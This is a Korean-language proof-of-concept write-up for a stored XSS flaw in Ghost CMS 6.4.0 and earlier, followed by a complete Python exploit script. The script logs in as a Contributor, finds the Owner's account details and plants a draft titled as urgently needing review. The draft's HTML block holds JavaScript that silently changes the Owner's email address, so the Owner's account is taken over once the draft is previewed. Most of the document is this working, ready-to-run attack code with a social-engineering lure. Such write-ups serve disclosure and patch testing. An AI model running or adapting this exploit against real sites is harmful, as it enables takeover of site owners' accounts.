
Ghost CMS 권한 상승 PoC
Ghost CMS 권한 상승 PoC
Ghost Foundation Ghost CMS 6.4.0 이하 버전의 게시물 초안 편집기에 있는 HTML 블록은 사용자가 제공한 콘텐츠를 제대로 정화(sanitize)하거나 인코딩하지 않아 저장형 크로스 사이트 스크립팅(XSS) 취약점이 발생합니다. Contributor 권한을 가진 사용자는 초안에 임의의 JavaScript를 주입할 수 있으며, 이는 Owner 계정이 해당 초안을 열람할 때 실행됩니다. 이를 통해 공격자는 Owner의 컨텍스트에서 권한 있는 작업을 수행할 수 있습니다.
취약점을 입증하려면 두 개의 계정으로 로컬 Ghost CMS 인스턴스를 설정해야 합니다:
Owner 계정 - Ghost 설치 중 자동으로 생성됩니다.
Contributor 계정 - Owner가 새 사용자를 초대하여 생성합니다. Ghost는 Contributor의 이메일 주소로 Magic Link를 보내 계정 설정을 완료합니다.
로컬에서 수행되므로 MailHog와 같은 이메일 캡처 도구(예: Docker 사용)를 설치해야 합니다. 이렇게 하면 Ghost가 보낸 Magic Link를 로컬에서 가로챌 수 있어 Contributor가 직접 계정을 활성화할 수 있습니다.
두 계정이 모두 활성화되면 익스플로잇 스크립트(contributor.py)를 사용할 수 있습니다. 이 스크립트는 Contributor의 로그인 자격 증명과 공격 성공 후 Owner 계정에 설정될 새 이메일 주소가 필요합니다.
스크립트 매개변수는 다음과 같습니다:
-u / --username Contributor username (email)
-p / --password Contributor password
-e / --new-email New email address to be set on the Owner account
--url Ghost instance URL (optional)
터미널에서 스크립트를 실행하려면 다음을 사용하세요:
python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'
실행하면 이 스크립트는 취약한 HTML 블록 내에 악성 JavaScript 페이로드가 포함된 새 Post 초안을 자동으로 생성합니다.
저장형 XSS를 트리거하려면 Owner는 초안을 미리 보기만 하면 됩니다, 즉 Ghost 관리자 패널에서 해당 초안을 열고 “Preview”를 클릭하면 됩니다. 주입된 스크립트는 Owner의 권한으로 백그라운드에서 실행되며, Owner는 자신의 이메일 주소가 변경되었음을 알림받지 못합니다.
import requests
import json
import argparse
class GhostCMSSession:
def __init__(self, ghost_url="http://localhost:2368"):
self.ghost_url = ghost_url.rstrip('/')
self.api_url = f"{self.ghost_url}/ghost/api/admin"
self.session = requests.Session()
self.authenticated = False
self.current_user = None
self.owner_user = None
self.session.headers.update({
'Origin': self.ghost_url,
'Accept': 'application/json',
'Content-Type': 'application/json'
})
def login(self, username, password):
"""Login to Ghost with username and password"""
login_url = f"{self.api_url}/session/"
payload = {"username": username, "password": password}
try:
response = self.session.post(login_url, json=payload)
if response.status_code == 201:
print(f"✓ Successfully logged in as {username}")
self.authenticated = True
self.current_user = self.get_current_user()
self.owner_user = self.get_owner_user()
return True
else:
print(f"✗ Login failed: {response.status_code}")
return False
except Exception as e:
print(f"✗ Login error: {str(e)}")
return False
def get_current_user(self):
"""Get current user information"""
if not self.authenticated:
return None
try:
url = f"{self.api_url}/users/me/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
user = data['users'][0]
print(f"\n Current User: {user.get('name', 'Unknown')}")
print(f" Email: {user.get('email', 'Unknown')}")
print(f" User ID: {user.get('id', 'Unknown')}")
if 'roles' in user and user['roles']:
role = user['roles'][0]
if isinstance(role, dict):
print(f" Role: {role.get('name', 'Unknown')}")
return user
return None
except Exception as e:
print(f" Error fetching user: {str(e)}")
return None
def get_owner_user(self):
"""Fetch all users and find the owner - return full user object"""
if not self.authenticated:
return None
try:
print(f"\n Fetching all users to find owner...")
url = f"{self.api_url}/users/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
users = data.get('users', [])
print(f" Found {len(users)} users")
for user in users:
if 'roles' in user and user['roles']:
role = user['roles'][0]
role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()
print(f" - {user.get('name')} ({user.get('email')}) - Role: {role_name}")
if role_name == 'owner' or role_name == 'administrator':
print(f"\n ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
print(f" Slug: {user.get('slug')}")
print(f" Email: {user.get('email')}")
return user
return None
return None
except Exception as e:
print(f" ✗ Error fetching users: {str(e)}")
return None
def create_lexical_with_html(self, html_content):
"""Create Lexical format with HTML node (as a JSON string)"""
lexical_structure = {
"root": {
"children": [
{
"type": "html",
"version": 1,
"html": html_content,
"visibility": {
"web": {
"nonMember": True,
"memberSegment": "status:free,status:-free"
},
"email": {
"memberSegment": "status:free,status:-free"
}
}
},
{
"children": [],
"direction": None,
"format": "",
"indent": 0,
"type": "paragraph",
"version": 1
}
],
"direction": None,
"format": "",
"indent": 0,
"type": "root",
"version": 1
}
}
return json.dumps(lexical_structure)
def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
"""Create a post with Lexical HTML content"""
if not self.authenticated or not self.current_user:
print("✗ Not authenticated")
return None
if not self.owner_user:
print("✗ Owner user not found")
return None
author_id = self.current_user.get('id')
owner_id = self.owner_user.get('id')
owner_slug = self.owner_user.get('slug')
owner_name = self.owner_user.get('name')
print(f"\n Creating post with CONTRIBUTOR as author")
print(f" Author ID: {author_id} ({self.current_user.get('name')})")
print(f" Target Owner ID: {owner_id}")
print(f" Target Owner Slug: {owner_slug}")
print(f" Target Owner Name: {owner_name}")
# HTML content with placeholders
article_content = """\"><script>
fetch("/ghost/api/admin/users/<id>/?include=roles", {
method: "PUT",
credentials: "include",
headers: {
"accept": "*/*",
"content-type": "application/json",
"x-ghost-version": "6.0",
"app-pragma": "no-cache"
},
body: JSON.stringify({
"users": [
{
"slug": "<slug>",
"id": "<id>",
"name": "<name>",
"email": "<email>",
"profile_image": null,
"cover_image": null,
"bio": null,
"website": null,
"location": null,
"facebook": null,
"twitter": null,
"threads": null,
"bluesky": null,
"mastodon": null,
"tiktok": null,
"youtube": null,
"instagram": null,
"linkedin": null,
"accessibility": null,
"status": "active",
"meta_title": null,
"meta_description": null,
"tour": null,
"comment_notifications": true,
"free_member_signup_notification": true,
"paid_subscription_started_notification": true,
"paid_subscription_canceled_notification": false,
"mention_notifications": true,
"recommendation_notifications": true,
"milestone_notifications": true,
"donation_notifications": true,
"roles": [],
"url": "http://localhost:2368/404/"
}
]
})
});
</script>"""
# Replace placeholders with actual owner data
html_content_with_id = article_content.replace("<id>", owner_id)
html_content_with_id = html_content_with_id.replace("<slug>", owner_slug)
html_content_with_id = html_content_with_id.replace("<name>", owner_name)
html_content_with_id = html_content_with_id.replace("<email>", new_email)
print(f"\n HTML content prepared (with Owner data injected)")
print(f" Target email change: {self.owner_user.get('email')} → {new_email}")
# Create Lexical content
lexical_content = self.create_lexical_with_html(html_content_with_id)
# Prepare post data with Lexical
post_data = {
'posts': [{
'title': title,
'lexical': lexical_content,
'status': 'draft',
'authors': [author_id],
}]
}
if excerpt:
post_data['posts'][0]['excerpt'] = excerpt
if tags:
post_data['posts'][0]['tags'] = [{'name': tag} for tag in tags]
# Try multiple API approaches
attempts = [
{'url': f"{self.api_url}/posts/?source=html", 'data': post_data},
{'url': f"{self.api_url}/posts/", 'data': post_data},
{
'url': f"{self.api_url}/posts/?source=html",
'data': {
'posts': [{
'title': title,
'lexical': lexical_content,
'status': 'draft',
'authors': [{'id': author_id}],
}]
}
},
{
'url': f"{self.api_url}/posts/?source=html",
'data': {
'posts': [{
'title': title,
'lexical': lexical_content,
'status': 'draft',
}]
}
},
]
for i, attempt in enumerate(attempts, 1):
try:
print(f"\n Attempt {i}: {attempt['url']}")
response = self.session.post(attempt['url'], json=attempt['data'])
if response.status_code == 201:
post = response.json()['posts'][0]
print(f"\n✓✓✓ Post created successfully!")
print(f" Title: {post['title']}")
print(f" Post ID: {post['id']}")
print(f" Status: {post['status']}")
if 'authors' in post and post['authors']:
print(f" Author: {post['authors'][0].get('name', 'Unknown')}")
print(f" Admin URL: {self.ghost_url}/ghost/#/editor/post/{post['id']}")
print(f"\n ⚠️ Post contains script targeting Owner: {owner_name} ({owner_slug})")
print(f" ⚠️ Email change: {self.owner_user.get('email')} → {new_email}")
return response.json()
else:
print(f" ✗ Status {response.status_code}")
print(f" Response: {response.text}")
except Exception as e:
print(f" ✗ Exception: {str(e)}")
print(f"\n✗ All attempts to create post failed.")
return None
def logout(self):
"""Logout from Ghost session"""
if self.authenticated:
try:
logout_url = f"{self.api_url}/session/"
self.session.delete(logout_url)
print("\n✓ Logged out successfully")
except:
pass
self.session.close()
def main():
parser = argparse.ArgumentParser(
description='Ghost CMS Stored XSS PoC - Account Takeover via Email Change'
)
parser.add_argument('-u', '--username', required=True,
help='Ghost username (email)')
parser.add_argument('-p', '--password', required=True,
help='Ghost password')
parser.add_argument('-e', '--new-email', required=True,
help='New email to set for owner account')
parser.add_argument('--url', default='http://localhost:2368',
help='Ghost instance URL')
args = parser.parse_args()
# Article details
article_title = "Review Required: Important Update"
article_tags = ["review"]
article_excerpt = "Please review this update at your earliest convenience"
# Initialize Ghost client
ghost = GhostCMSSession(ghost_url=args.url)
# Login
if not ghost.login(args.username, args.password):
return
# Create post with malicious content
if ghost.current_user and ghost.owner_user:
ghost.create_post_for_review(
title=article_title,
new_email=args.new_email,
tags=article_tags,
excerpt=article_excerpt
)
# Logout
ghost.logout()
if __name__ == "__main__":
main()